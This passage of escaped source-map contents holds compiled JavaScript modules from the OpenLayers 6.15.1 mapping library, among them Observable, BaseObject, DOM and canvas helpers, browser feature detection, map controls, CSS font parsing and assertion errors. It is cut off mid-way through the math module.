EventTypes\n */\n/***\n * @template Return\n * @typedef {OnSignature<EventTypes, import(\"./events/Event.js\").default, Return> & CombinedOnSignature<EventTypes, Return>} ObservableOnSignature\n */\n/**\n * @classdesc\n * Abstract base class; normally only used for creating subclasses and not\n * instantiated in apps.\n * An event target providing convenient methods for listener registration\n * and unregistration. A generic `change` event is always available through\n * {@link module:ol/Observable~Observable#changed}.\n *\n * @fires import(\"./events/Event.js\").default\n * @api\n */\nvar Observable = /** @class */ (function (_super) {\n __extends(Observable, _super);\n function Observable() {\n var _this = _super.call(this) || this;\n _this.on =\n /** @type {ObservableOnSignature<import(\"./events\").EventsKey>} */ (_this.onInternal);\n _this.once =\n /** @type {ObservableOnSignature<import(\"./events\").EventsKey>} */ (_this.onceInternal);\n _this.un = /** @type {ObservableOnSignature<void>} */ (_this.unInternal);\n /**\n * @private\n * @type {number}\n */\n _this.revision_ = 0;\n return _this;\n }\n /**\n * Increases the revision counter and dispatches a 'change' event.\n * @api\n */\n Observable.prototype.changed = function () {\n ++this.revision_;\n this.dispatchEvent(EventType.CHANGE);\n };\n /**\n * Get the version number for this object. Each time the object is modified,\n * its version number will be incremented.\n * @return {number} Revision.\n * @api\n */\n Observable.prototype.getRevision = function () {\n return this.revision_;\n };\n /**\n * @param {string|Array<string>} type Type.\n * @param {function((Event|import(\"./events/Event\").default)): ?} listener Listener.\n * @return {import(\"./events.js\").EventsKey|Array<import(\"./events.js\").EventsKey>} Event key.\n * @protected\n */\n Observable.prototype.onInternal = function (type, listener) {\n if (Array.isArray(type)) {\n var len = type.length;\n var keys = new Array(len);\n for (var i = 0; i < len; ++i) {\n keys[i] = listen(this, type[i], listener);\n }\n return keys;\n }\n else {\n return listen(this, /** @type {string} */ (type), listener);\n }\n };\n /**\n * @param {string|Array<string>} type Type.\n * @param {function((Event|import(\"./events/Event\").default)): ?} listener Listener.\n * @return {import(\"./events.js\").EventsKey|Array<import(\"./events.js\").EventsKey>} Event key.\n * @protected\n */\n Observable.prototype.onceInternal = function (type, listener) {\n var key;\n if (Array.isArray(type)) {\n var len = type.length;\n key = new Array(len);\n for (var i = 0; i < len; ++i) {\n key[i] = listenOnce(this, type[i], listener);\n }\n }\n else {\n key = listenOnce(this, /** @type {string} */ (type), listener);\n }\n /** @type {Object} */ (listener).ol_key = key;\n return key;\n };\n /**\n * Unlisten for a certain type of event.\n * @param {string|Array<string>} type Type.\n * @param {function((Event|import(\"./events/Event\").default)): ?} listener Listener.\n * @protected\n */\n Observable.prototype.unInternal = function (type, listener) {\n var key = /** @type {Object} */ (listener).ol_key;\n if (key) {\n unByKey(key);\n }\n else if (Array.isArray(type)) {\n for (var i = 0, ii = type.length; i < ii; ++i) {\n this.removeEventListener(type[i], listener);\n }\n }\n else {\n this.removeEventListener(type, listener);\n }\n };\n return Observable;\n}(EventTarget));\n/**\n * Listen for a certain type of event.\n * @function\n * @param {string|Array<string>} type The event type or array of event types.\n * @param {function((Event|import(\"./events/Event\").default)): ?} listener The listener function.\n * @return {import(\"./events.js\").EventsKey|Array<import(\"./events.js\").EventsKey>} Unique key for the listener. If\n * called with an array of event types as the first argument, the return\n * will be an array of keys.\n * @api\n */\nObservable.prototype.on;\n/**\n * Listen once for a certain type of event.\n * @function\n * @param {string|Array<string>} type The event type or array of event types.\n * @param {function((Event|import(\"./events/Event\").default)): ?} listener The listener function.\n * @return {import(\"./events.js\").EventsKey|Array<import(\"./events.js\").EventsKey>} Unique key for the listener. If\n * called with an array of event types as the first argument, the return\n * will be an array of keys.\n * @api\n */\nObservable.prototype.once;\n/**\n * Unlisten for a certain type of event.\n * @function\n * @param {string|Array<string>} type The event type or array of event types.\n * @param {function((Event|import(\"./events/Event\").default)): ?} listener The listener function.\n * @api\n */\nObservable.prototype.un;\n/**\n * Removes an event listener using the key returned by `on()` or `once()`.\n * @param {import(\"./events.js\").EventsKey|Array<import(\"./events.js\").EventsKey>} key The key returned by `on()`\n * or `once()` (or an array of keys).\n * @api\n */\nexport function unByKey(key) {\n if (Array.isArray(key)) {\n for (var i = 0, ii = key.length; i < ii; ++i) {\n unlistenByKey(key[i]);\n }\n }\n else {\n unlistenByKey(/** @type {import(\"./events.js\").EventsKey} */ (key));\n }\n}\nexport default Observable;\n//# sourceMappingURL=Observable.js.map","/**\n * @module ol/util\n */\n/**\n * @return {?} Any return.\n */\nexport function abstract() {\n return /** @type {?} */ ((function () {\n throw new Error('Unimplemented abstract method.');\n })());\n}\n/**\n * Counter for getUid.\n * @type {number}\n * @private\n */\nvar uidCounter_ = 0;\n/**\n * Gets a unique ID for an object. This mutates the object so that further calls\n * with the same object as a parameter returns the same value. Unique IDs are generated\n * as a strictly increasing sequence. Adapted from goog.getUid.\n *\n * @param {Object} obj The object to get the unique ID for.\n * @return {string} The unique ID for the object.\n * @api\n */\nexport function getUid(obj) {\n return obj.ol_uid || (obj.ol_uid = String(++uidCounter_));\n}\n/**\n * OpenLayers version.\n * @type {string}\n */\nexport var VERSION = '6.15.1';\n//# sourceMappingURL=util.js.map","var __extends = (this && this.__extends) || (function () {\n var extendStatics = function (d, b) {\n extendStatics = Object.setPrototypeOf ||\n ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||\n function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };\n return extendStatics(d, b);\n };\n return function (d, b) {\n if (typeof b !== \"function\" && b !== null)\n throw new TypeError(\"Class extends value \" + String(b) + \" is not a constructor or null\");\n extendStatics(d, b);\n function __() { this.constructor = d; }\n d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());\n };\n})();\n/**\n * @module ol/Object\n */\nimport Event from './events/Event.js';\nimport ObjectEventType from './ObjectEventType.js';\nimport Observable from './Observable.js';\nimport { assign, isEmpty } from './obj.js';\nimport { getUid } from './util.js';\n/**\n * @classdesc\n * Events emitted by {@link module:ol/Object~BaseObject} instances are instances of this type.\n */\nvar ObjectEvent = /** @class */ (function (_super) {\n __extends(ObjectEvent, _super);\n /**\n * @param {string} type The event type.\n * @param {string} key The property name.\n * @param {*} oldValue The old value for `key`.\n */\n function ObjectEvent(type, key, oldValue) {\n var _this = _super.call(this, type) || this;\n /**\n * The name of the property whose value is changing.\n * @type {string}\n * @api\n */\n _this.key = key;\n /**\n * The old value. To get the new value use `e.target.get(e.key)` where\n * `e` is the event object.\n * @type {*}\n * @api\n */\n _this.oldValue = oldValue;\n return _this;\n }\n return ObjectEvent;\n}(Event));\nexport { ObjectEvent };\n/***\n * @template Return\n * @typedef {import(\"./Observable\").OnSignature<import(\"./Observable\").EventTypes, import(\"./events/Event.js\").default, Return> &\n * import(\"./Observable\").OnSignature<import(\"./ObjectEventType\").Types, ObjectEvent, Return> &\n * import(\"./Observable\").CombinedOnSignature<import(\"./Observable\").EventTypes|import(\"./ObjectEventType\").Types, Return>} ObjectOnSignature\n */\n/**\n * @classdesc\n * Abstract base class; normally only used for creating subclasses and not\n * instantiated in apps.\n * Most non-trivial classes inherit from this.\n *\n * This extends {@link module:ol/Observable~Observable} with observable\n * properties, where each property is observable as well as the object as a\n * whole.\n *\n * Classes that inherit from this have pre-defined properties, to which you can\n * add your owns. The pre-defined properties are listed in this documentation as\n * 'Observable Properties', and have their own accessors; for example,\n * {@link module:ol/Map~Map} has a `target` property, accessed with\n * `getTarget()` and changed with `setTarget()`. Not all properties are however\n * settable. There are also general-purpose accessors `get()` and `set()`. For\n * example, `get('target')` is equivalent to `getTarget()`.\n *\n * The `set` accessors trigger a change event, and you can monitor this by\n * registering a listener. For example, {@link module:ol/View~View} has a\n * `center` property, so `view.on('change:center', function(evt) {...});` would\n * call the function whenever the value of the center property changes. Within\n * the function, `evt.target` would be the view, so `evt.target.getCenter()`\n * would return the new center.\n *\n * You can add your own observable properties with\n * `object.set('prop', 'value')`, and retrieve that with `object.get('prop')`.\n * You can listen for changes on that property value with\n * `object.on('change:prop', listener)`. You can get a list of all\n * properties with {@link module:ol/Object~BaseObject#getProperties}.\n *\n * Note that the observable properties are separate from standard JS properties.\n * You can, for example, give your map object a title with\n * `map.title='New title'` and with `map.set('title', 'Another title')`. The\n * first will be a `hasOwnProperty`; the second will appear in\n * `getProperties()`. Only the second is observable.\n *\n * Properties can be deleted by using the unset method. E.g.\n * object.unset('foo').\n *\n * @fires ObjectEvent\n * @api\n */\nvar BaseObject = /** @class */ (function (_super) {\n __extends(BaseObject, _super);\n /**\n * @param {Object<string, *>} [opt_values] An object with key-value pairs.\n */\n function BaseObject(opt_values) {\n var _this = _super.call(this) || this;\n /***\n * @type {ObjectOnSignature<import(\"./events\").EventsKey>}\n */\n _this.on;\n /***\n * @type {ObjectOnSignature<import(\"./events\").EventsKey>}\n */\n _this.once;\n /***\n * @type {ObjectOnSignature<void>}\n */\n _this.un;\n // Call {@link module:ol/util.getUid} to ensure that the order of objects' ids is\n // the same as the order in which they were created. This also helps to\n // ensure that object properties are always added in the same order, which\n // helps many JavaScript engines generate faster code.\n getUid(_this);\n /**\n * @private\n * @type {Object<string, *>}\n */\n _this.values_ = null;\n if (opt_values !== undefined) {\n _this.setProperties(opt_values);\n }\n return _this;\n }\n /**\n * Gets a value.\n * @param {string} key Key name.\n * @return {*} Value.\n * @api\n */\n BaseObject.prototype.get = function (key) {\n var value;\n if (this.values_ && this.values_.hasOwnProperty(key)) {\n value = this.values_[key];\n }\n return value;\n };\n /**\n * Get a list of object property names.\n * @return {Array<string>} List of property names.\n * @api\n */\n BaseObject.prototype.getKeys = function () {\n return (this.values_ && Object.keys(this.values_)) || [];\n };\n /**\n * Get an object of all property names and values.\n * @return {Object<string, *>} Object.\n * @api\n */\n BaseObject.prototype.getProperties = function () {\n return (this.values_ && assign({}, this.values_)) || {};\n };\n /**\n * @return {boolean} The object has properties.\n */\n BaseObject.prototype.hasProperties = function () {\n return !!this.values_;\n };\n /**\n * @param {string} key Key name.\n * @param {*} oldValue Old value.\n */\n BaseObject.prototype.notify = function (key, oldValue) {\n var eventType;\n eventType = \"change:\".concat(key);\n if (this.hasListener(eventType)) {\n this.dispatchEvent(new ObjectEvent(eventType, key, oldValue));\n }\n eventType = ObjectEventType.PROPERTYCHANGE;\n if (this.hasListener(eventType)) {\n this.dispatchEvent(new ObjectEvent(eventType, key, oldValue));\n }\n };\n /**\n * @param {string} key Key name.\n * @param {import(\"./events.js\").Listener} listener Listener.\n */\n BaseObject.prototype.addChangeListener = function (key, listener) {\n this.addEventListener(\"change:\".concat(key), listener);\n };\n /**\n * @param {string} key Key name.\n * @param {import(\"./events.js\").Listener} listener Listener.\n */\n BaseObject.prototype.removeChangeListener = function (key, listener) {\n this.removeEventListener(\"change:\".concat(key), listener);\n };\n /**\n * Sets a value.\n * @param {string} key Key name.\n * @param {*} value Value.\n * @param {boolean} [opt_silent] Update without triggering an event.\n * @api\n */\n BaseObject.prototype.set = function (key, value, opt_silent) {\n var values = this.values_ || (this.values_ = {});\n if (opt_silent) {\n values[key] = value;\n }\n else {\n var oldValue = values[key];\n values[key] = value;\n if (oldValue !== value) {\n this.notify(key, oldValue);\n }\n }\n };\n /**\n * Sets a collection of key-value pairs. Note that this changes any existing\n * properties and adds new ones (it does not remove any existing properties).\n * @param {Object<string, *>} values Values.\n * @param {boolean} [opt_silent] Update without triggering an event.\n * @api\n */\n BaseObject.prototype.setProperties = function (values, opt_silent) {\n for (var key in values) {\n this.set(key, values[key], opt_silent);\n }\n };\n /**\n * Apply any properties from another object without triggering events.\n * @param {BaseObject} source The source object.\n * @protected\n */\n BaseObject.prototype.applyProperties = function (source) {\n if (!source.values_) {\n return;\n }\n assign(this.values_ || (this.values_ = {}), source.values_);\n };\n /**\n * Unsets a property.\n * @param {string} key Key name.\n * @param {boolean} [opt_silent] Unset without triggering an event.\n * @api\n */\n BaseObject.prototype.unset = function (key, opt_silent) {\n if (this.values_ && key in this.values_) {\n var oldValue = this.values_[key];\n delete this.values_[key];\n if (isEmpty(this.values_)) {\n this.values_ = null;\n }\n if (!opt_silent) {\n this.notify(key, oldValue);\n }\n }\n };\n return BaseObject;\n}(Observable));\nexport default BaseObject;\n//# sourceMappingURL=Object.js.map","/**\n * @module ol/MapEventType\n */\n/**\n * @enum {string}\n */\nexport default {\n /**\n * Triggered after a map frame is rendered.\n * @event module:ol/MapEvent~MapEvent#postrender\n * @api\n */\n POSTRENDER: 'postrender',\n /**\n * Triggered when the map starts moving.\n * @event module:ol/MapEvent~MapEvent#movestart\n * @api\n */\n MOVESTART: 'movestart',\n /**\n * Triggered after the map is moved.\n * @event module:ol/MapEvent~MapEvent#moveend\n * @api\n */\n MOVEEND: 'moveend',\n /**\n * Triggered when loading of additional map data (tiles, images, features) starts.\n * @event module:ol/MapEvent~MapEvent#loadstart\n * @api\n */\n LOADSTART: 'loadstart',\n /**\n * Triggered when loading of additional map data has completed.\n * @event module:ol/MapEvent~MapEvent#loadend\n * @api\n */\n LOADEND: 'loadend',\n};\n/***\n * @typedef {'postrender'|'movestart'|'moveend'|'loadstart'|'loadend'} Types\n */\n//# sourceMappingURL=MapEventType.js.map","/**\n * @module ol/has\n */\nvar ua = typeof navigator !== 'undefined' && typeof navigator.userAgent !== 'undefined'\n ? navigator.userAgent.toLowerCase()\n : '';\n/**\n * User agent string says we are dealing with Firefox as browser.\n * @type {boolean}\n */\nexport var FIREFOX = ua.indexOf('firefox') !== -1;\n/**\n * User agent string says we are dealing with Safari as browser.\n * @type {boolean}\n */\nexport var SAFARI = ua.indexOf('safari') !== -1 && ua.indexOf('chrom') == -1;\n/**\n * https://bugs.webkit.org/show_bug.cgi?id=237906\n * @type {boolean}\n */\nexport var SAFARI_BUG_237906 = SAFARI &&\n !!(ua.indexOf('version/15.4') >= 0 ||\n ua.match(/cpu (os|iphone os) 15_4 like mac os x/));\n/**\n * User agent string says we are dealing with a WebKit engine.\n * @type {boolean}\n */\nexport var WEBKIT = ua.indexOf('webkit') !== -1 && ua.indexOf('edge') == -1;\n/**\n * User agent string says we are dealing with a Mac as platform.\n * @type {boolean}\n */\nexport var MAC = ua.indexOf('macintosh') !== -1;\n/**\n * The ratio between physical pixels and device-independent pixels\n * (dips) on the device (`window.devicePixelRatio`).\n * @const\n * @type {number}\n * @api\n */\nexport var DEVICE_PIXEL_RATIO = typeof devicePixelRatio !== 'undefined' ? devicePixelRatio : 1;\n/**\n * The execution context is a worker with OffscreenCanvas available.\n * @const\n * @type {boolean}\n */\nexport var WORKER_OFFSCREEN_CANVAS = typeof WorkerGlobalScope !== 'undefined' &&\n typeof OffscreenCanvas !== 'undefined' &&\n self instanceof WorkerGlobalScope; //eslint-disable-line\n/**\n * Image.prototype.decode() is supported.\n * @type {boolean}\n */\nexport var IMAGE_DECODE = typeof Image !== 'undefined' && Image.prototype.decode;\n/**\n * @type {boolean}\n */\nexport var PASSIVE_EVENT_LISTENERS = (function () {\n var passive = false;\n try {\n var options = Object.defineProperty({}, 'passive', {\n get: function () {\n passive = true;\n },\n });\n window.addEventListener('_', null, options);\n window.removeEventListener('_', null, options);\n }\n catch (error) {\n // passive not supported\n }\n return passive;\n})();\n//# sourceMappingURL=has.js.map","import { WORKER_OFFSCREEN_CANVAS } from './has.js';\n/**\n * @module ol/dom\n */\n//FIXME Move this function to the canvas module\n/**\n * Create an html canvas element and returns its 2d context.\n * @param {number} [opt_width] Canvas width.\n * @param {number} [opt_height] Canvas height.\n * @param {Array<HTMLCanvasElement>} [opt_canvasPool] Canvas pool to take existing canvas from.\n * @param {CanvasRenderingContext2DSettings} [opt_Context2DSettings] CanvasRenderingContext2DSettings\n * @return {CanvasRenderingContext2D} The context.\n */\nexport function createCanvasContext2D(opt_width, opt_height, opt_canvasPool, opt_Context2DSettings) {\n /** @type {HTMLCanvasElement|OffscreenCanvas} */\n var canvas;\n if (opt_canvasPool && opt_canvasPool.length) {\n canvas = opt_canvasPool.shift();\n }\n else if (WORKER_OFFSCREEN_CANVAS) {\n canvas = new OffscreenCanvas(opt_width || 300, opt_height || 300);\n }\n else {\n canvas = document.createElement('canvas');\n }\n if (opt_width) {\n canvas.width = opt_width;\n }\n if (opt_height) {\n canvas.height = opt_height;\n }\n //FIXME Allow OffscreenCanvasRenderingContext2D as return type\n return /** @type {CanvasRenderingContext2D} */ (canvas.getContext('2d', opt_Context2DSettings));\n}\n/**\n * Releases canvas memory to avoid exceeding memory limits in Safari.\n * See https://pqina.nl/blog/total-canvas-memory-use-exceeds-the-maximum-limit/\n * @param {CanvasRenderingContext2D} context Context.\n */\nexport function releaseCanvas(context) {\n var canvas = context.canvas;\n canvas.width = 1;\n canvas.height = 1;\n context.clearRect(0, 0, 1, 1);\n}\n/**\n * Get the current computed width for the given element including margin,\n * padding and border.\n * Equivalent to jQuery's `$(el).outerWidth(true)`.\n * @param {!HTMLElement} element Element.\n * @return {number} The width.\n */\nexport function outerWidth(element) {\n var width = element.offsetWidth;\n var style = getComputedStyle(element);\n width += parseInt(style.marginLeft, 10) + parseInt(style.marginRight, 10);\n return width;\n}\n/**\n * Get the current computed height for the given element including margin,\n * padding and border.\n * Equivalent to jQuery's `$(el).outerHeight(true)`.\n * @param {!HTMLElement} element Element.\n * @return {number} The height.\n */\nexport function outerHeight(element) {\n var height = element.offsetHeight;\n var style = getComputedStyle(element);\n height += parseInt(style.marginTop, 10) + parseInt(style.marginBottom, 10);\n return height;\n}\n/**\n * @param {Node} newNode Node to replace old node\n * @param {Node} oldNode The node to be replaced\n */\nexport function replaceNode(newNode, oldNode) {\n var parent = oldNode.parentNode;\n if (parent) {\n parent.replaceChild(newNode, oldNode);\n }\n}\n/**\n * @param {Node} node The node to remove.\n * @return {Node|null} The node that was removed or null.\n */\nexport function removeNode(node) {\n return node && node.parentNode ? node.parentNode.removeChild(node) : null;\n}\n/**\n * @param {Node} node The node to remove the children from.\n */\nexport function removeChildren(node) {\n while (node.lastChild) {\n node.removeChild(node.lastChild);\n }\n}\n/**\n * Transform the children of a parent node so they match the\n * provided list of children. This function aims to efficiently\n * remove, add, and reorder child nodes while maintaining a simple\n * implementation (it is not guaranteed to minimize DOM operations).\n * @param {Node} node The parent node whose children need reworking.\n * @param {Array<Node>} children The desired children.\n */\nexport function replaceChildren(node, children) {\n var oldChildren = node.childNodes;\n for (var i = 0; true; ++i) {\n var oldChild = oldChildren[i];\n var newChild = children[i];\n // check if our work is done\n if (!oldChild && !newChild) {\n break;\n }\n // check if children match\n if (oldChild === newChild) {\n continue;\n }\n // check if a new child needs to be added\n if (!oldChild) {\n node.appendChild(newChild);\n continue;\n }\n // check if an old child needs to be removed\n if (!newChild) {\n node.removeChild(oldChild);\n --i;\n continue;\n }\n // reorder\n node.insertBefore(newChild, oldChild);\n }\n}\n//# sourceMappingURL=dom.js.map","var __extends = (this && this.__extends) || (function () {\n var extendStatics = function (d, b) {\n extendStatics = Object.setPrototypeOf ||\n ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||\n function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };\n return extendStatics(d, b);\n };\n return function (d, b) {\n if (typeof b !== \"function\" && b !== null)\n throw new TypeError(\"Class extends value \" + String(b) + \" is not a constructor or null\");\n extendStatics(d, b);\n function __() { this.constructor = d; }\n d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());\n };\n})();\n/**\n * @module ol/control/Control\n */\nimport BaseObject from '../Object.js';\nimport MapEventType from '../MapEventType.js';\nimport { VOID } from '../functions.js';\nimport { listen, unlistenByKey } from '../events.js';\nimport { removeNode } from '../dom.js';\n/**\n * @typedef {Object} Options\n * @property {HTMLElement} [element] The element is the control's\n * container element. This only needs to be specified if you're developing\n * a custom control.\n * @property {function(import(\"../MapEvent.js\").default):void} [render] Function called when\n * the control should be re-rendered. This is called in a `requestAnimationFrame`\n * callback.\n * @property {HTMLElement|string} [target] Specify a target if you want\n * the control to be rendered outside of the map's viewport.\n */\n/**\n * @classdesc\n * A control is a visible widget with a DOM element in a fixed position on the\n * screen. They can involve user input (buttons), or be informational only;\n * the position is determined using CSS. By default these are placed in the\n * container with CSS class name `ol-overlaycontainer-stopevent`, but can use\n * any outside DOM element.\n *\n * This is the base class for controls. You can use it for simple custom\n * controls by creating the element with listeners, creating an instance:\n * ```js\n * var myControl = new Control({element: myElement});\n * ```\n * and then adding this to the map.\n *\n * The main advantage of having this as a control rather than a simple separate\n * DOM element is that preventing propagation is handled for you. Controls\n * will also be objects in a {@link module:ol/Collection~Collection}, so you can use their methods.\n *\n * You can also extend this base for your own control class. See\n * examples/custom-controls for an example of how to do this.\n *\n * @api\n */\nvar Control = /** @class */ (function (_super) {\n __extends(Control, _super);\n /**\n * @param {Options} options Control options.\n */\n function Control(options) {\n var _this = _super.call(this) || this;\n var element = options.element;\n if (element && !options.target && !element.style.pointerEvents) {\n element.style.pointerEvents = 'auto';\n }\n /**\n * @protected\n * @type {HTMLElement}\n */\n _this.element = element ? element : null;\n /**\n * @private\n * @type {HTMLElement}\n */\n _this.target_ = null;\n /**\n * @private\n * @type {import(\"../PluggableMap.js\").default|null}\n */\n _this.map_ = null;\n /**\n * @protected\n * @type {!Array<import(\"../events.js\").EventsKey>}\n */\n _this.listenerKeys = [];\n if (options.render) {\n _this.render = options.render;\n }\n if (options.target) {\n _this.setTarget(options.target);\n }\n return _this;\n }\n /**\n * Clean up.\n */\n Control.prototype.disposeInternal = function () {\n removeNode(this.element);\n _super.prototype.disposeInternal.call(this);\n };\n /**\n * Get the map associated with this control.\n * @return {import(\"../PluggableMap.js\").default|null} Map.\n * @api\n */\n Control.prototype.getMap = function () {\n return this.map_;\n };\n /**\n * Remove the control from its current map and attach it to the new map.\n * Pass `null` to just remove the control from the current map.\n * Subclasses may set up event handlers to get notified about changes to\n * the map here.\n * @param {import(\"../PluggableMap.js\").default|null} map Map.\n * @api\n */\n Control.prototype.setMap = function (map) {\n if (this.map_) {\n removeNode(this.element);\n }\n for (var i = 0, ii = this.listenerKeys.length; i < ii; ++i) {\n unlistenByKey(this.listenerKeys[i]);\n }\n this.listenerKeys.length = 0;\n this.map_ = map;\n if (map) {\n var target = this.target_\n ? this.target_\n : map.getOverlayContainerStopEvent();\n target.appendChild(this.element);\n if (this.render !== VOID) {\n this.listenerKeys.push(listen(map, MapEventType.POSTRENDER, this.render, this));\n }\n map.render();\n }\n };\n /**\n * Renders the control.\n * @param {import(\"../MapEvent.js\").default} mapEvent Map event.\n * @api\n */\n Control.prototype.render = function (mapEvent) { };\n /**\n * This function is used to set a target element for the control. It has no\n * effect if it is called after the control has been added to the map (i.e.\n * after `setMap` is called on the control). If no `target` is set in the\n * options passed to the control constructor and if `setTarget` is not called\n * then the control is added to the map's overlay container.\n * @param {HTMLElement|string} target Target.\n * @api\n */\n Control.prototype.setTarget = function (target) {\n this.target_ =\n typeof target === 'string' ? document.getElementById(target) : target;\n };\n return Control;\n}(BaseObject));\nexport default Control;\n//# sourceMappingURL=Control.js.map","/**\n * @module ol/css\n */\n/**\n * @typedef {Object} FontParameters\n * @property {string} style Style.\n * @property {string} variant Variant.\n * @property {string} weight Weight.\n * @property {string} size Size.\n * @property {string} lineHeight LineHeight.\n * @property {string} family Family.\n * @property {Array<string>} families Families.\n */\n/**\n * The CSS class for hidden feature.\n *\n * @const\n * @type {string}\n */\nexport var CLASS_HIDDEN = 'ol-hidden';\n/**\n * The CSS class that we'll give the DOM elements to have them selectable.\n *\n * @const\n * @type {string}\n */\nexport var CLASS_SELECTABLE = 'ol-selectable';\n/**\n * The CSS class that we'll give the DOM elements to have them unselectable.\n *\n * @const\n * @type {string}\n */\nexport var CLASS_UNSELECTABLE = 'ol-unselectable';\n/**\n * The CSS class for unsupported feature.\n *\n * @const\n * @type {string}\n */\nexport var CLASS_UNSUPPORTED = 'ol-unsupported';\n/**\n * The CSS class for controls.\n *\n * @const\n * @type {string}\n */\nexport var CLASS_CONTROL = 'ol-control';\n/**\n * The CSS class that we'll give the DOM elements that are collapsed, i.e.\n * to those elements which usually can be expanded.\n *\n * @const\n * @type {string}\n */\nexport var CLASS_COLLAPSED = 'ol-collapsed';\n/**\n * From https://stackoverflow.com/questions/10135697/regex-to-parse-any-css-font\n * @type {RegExp}\n */\nvar fontRegEx = new RegExp([\n '^\\\\s*(?=(?:(?:[-a-z]+\\\\s*){0,2}(italic|oblique))?)',\n '(?=(?:(?:[-a-z]+\\\\s*){0,2}(small-caps))?)',\n '(?=(?:(?:[-a-z]+\\\\s*){0,2}(bold(?:er)?|lighter|[1-9]00 ))?)',\n '(?:(?:normal|\\\\1|\\\\2|\\\\3)\\\\s*){0,3}((?:xx?-)?',\n '(?:small|large)|medium|smaller|larger|[\\\\.\\\\d]+(?:\\\\%|in|[cem]m|ex|p[ctx]))',\n '(?:\\\\s*\\\\/\\\\s*(normal|[\\\\.\\\\d]+(?:\\\\%|in|[cem]m|ex|p[ctx])?))',\n '?\\\\s*([-,\\\\\"\\\\\\'\\\\sa-z]+?)\\\\s*$',\n].join(''), 'i');\nvar fontRegExMatchIndex = [\n 'style',\n 'variant',\n 'weight',\n 'size',\n 'lineHeight',\n 'family',\n];\n/**\n * Get the list of font families from a font spec. Note that this doesn't work\n * for font families that have commas in them.\n * @param {string} fontSpec The CSS font property.\n * @return {FontParameters|null} The font parameters (or null if the input spec is invalid).\n */\nexport var getFontParameters = function (fontSpec) {\n var match = fontSpec.match(fontRegEx);\n if (!match) {\n return null;\n }\n var style = /** @type {FontParameters} */ ({\n lineHeight: 'normal',\n size: '1.2em',\n style: 'normal',\n weight: 'normal',\n variant: 'normal',\n });\n for (var i = 0, ii = fontRegExMatchIndex.length; i < ii; ++i) {\n var value = match[i + 1];\n if (value !== undefined) {\n style[fontRegExMatchIndex[i]] = value;\n }\n }\n style.families = style.family.split(/,\\s?/);\n return style;\n};\n//# sourceMappingURL=css.js.map","/**\n * @module ol/layer/Property\n */\n/**\n * @enum {string}\n */\nexport default {\n OPACITY: 'opacity',\n VISIBLE: 'visible',\n EXTENT: 'extent',\n Z_INDEX: 'zIndex',\n MAX_RESOLUTION: 'maxResolution',\n MIN_RESOLUTION: 'minResolution',\n MAX_ZOOM: 'maxZoom',\n MIN_ZOOM: 'minZoom',\n SOURCE: 'source',\n MAP: 'map',\n};\n//# sourceMappingURL=Property.js.map","var __extends = (this && this.__extends) || (function () {\n var extendStatics = function (d, b) {\n extendStatics = Object.setPrototypeOf ||\n ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||\n function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };\n return extendStatics(d, b);\n };\n return function (d, b) {\n if (typeof b !== \"function\" && b !== null)\n throw new TypeError(\"Class extends value \" + String(b) + \" is not a constructor or null\");\n extendStatics(d, b);\n function __() { this.constructor = d; }\n d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());\n };\n})();\n/**\n * @module ol/AssertionError\n */\nimport { VERSION } from './util.js';\n/**\n * Error object thrown when an assertion failed. This is an ECMA-262 Error,\n * extended with a `code` property.\n * See https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Error.\n */\nvar AssertionError = /** @class */ (function (_super) {\n __extends(AssertionError, _super);\n /**\n * @param {number} code Error code.\n */\n function AssertionError(code) {\n var _this = this;\n var path = VERSION === 'latest' ? VERSION : 'v' + VERSION.split('-')[0];\n var message = 'Assertion failed. See https://openlayers.org/en/' +\n path +\n '/doc/errors/#' +\n code +\n ' for details.';\n _this = _super.call(this, message) || this;\n /**\n * Error code. The meaning of the code can be found on\n * https://openlayers.org/en/latest/doc/errors/ (replace `latest` with\n * the version found in the OpenLayers script's header comment if a version\n * other than the latest is used).\n * @type {number}\n * @api\n */\n _this.code = code;\n /**\n * @type {string}\n */\n _this.name = 'AssertionError';\n // Re-assign message, see https://github.com/Rich-Harris/buble/issues/40\n _this.message = message;\n return _this;\n }\n return AssertionError;\n}(Error));\nexport default AssertionError;\n//# sourceMappingURL=AssertionError.js.map","/**\n * @module ol/asserts\n */\nimport AssertionError from './AssertionError.js';\n/**\n * @param {*} assertion Assertion we expected to be truthy.\n * @param {number} errorCode Error code.\n */\nexport function assert(assertion, errorCode) {\n if (!assertion) {\n throw new AssertionError(errorCode);\n }\n}\n//# sourceMappingURL=asserts.js.map","/**\n * @module ol/math\n */\n/**\n * Takes a number and clamps it to within the provided bounds.\n * @param {number} value The input number.\n * @param {number} min The minimum value to return.\n * @param {number} max The maximum value to return.\n * @return {number} The input number if it is within bounds, or the nearest\n * number within the bounds.\n */\nexport function clamp(value, min, max) {\n return Math.min(Math.max(value, min), max);\n}\n/**\n * Return the hyperbolic cosine of a given number. The method will use the\n * native `Math.cosh` function if it is available, otherwise the hyperbolic\n * cosine will be calculated via the reference implementation of the Mozilla\n * developer network.\n *\n * @param {number} x X.\n * @return {number} Hyperbolic cosine of x.\n */\nexport var cosh = (function () {\n // Wrapped in a iife, to save the overhead of checking for the native\n // implementation on every invocation.\n var cosh;\n if ('cosh' in Math) {\n // The environment supports the native Math.cosh function, use it…\n cosh = Math.cosh;\n }\n else {\n // … else, use the reference implementation of MDN:\n cosh = function (x) {\n var y = /** @type {Math} */ (Math).exp(x);\n return (y + 1 / y) / 2;\n };\n }\n return cosh;\n})();\n/**\n * Return the base 2 logarithm of a given number. The method will use the\n * native `Math.log2` function if it is available, otherwise the base 2\n * logarithm will be calculated via the reference implementation of the\n * Mozilla developer network.\n *\n * @param {number} x X.\n * @return {number} Base 2 logarithm of x.\n */\nexport var log2 = (function () {\n // Wrapped in a iife, to save the overhead of checking for the native\n // implementation on every invocation.\n var log2;\n if ('log2' in Math) {\n // The environment supports the native Math.log2 function, use it…\n log2 = 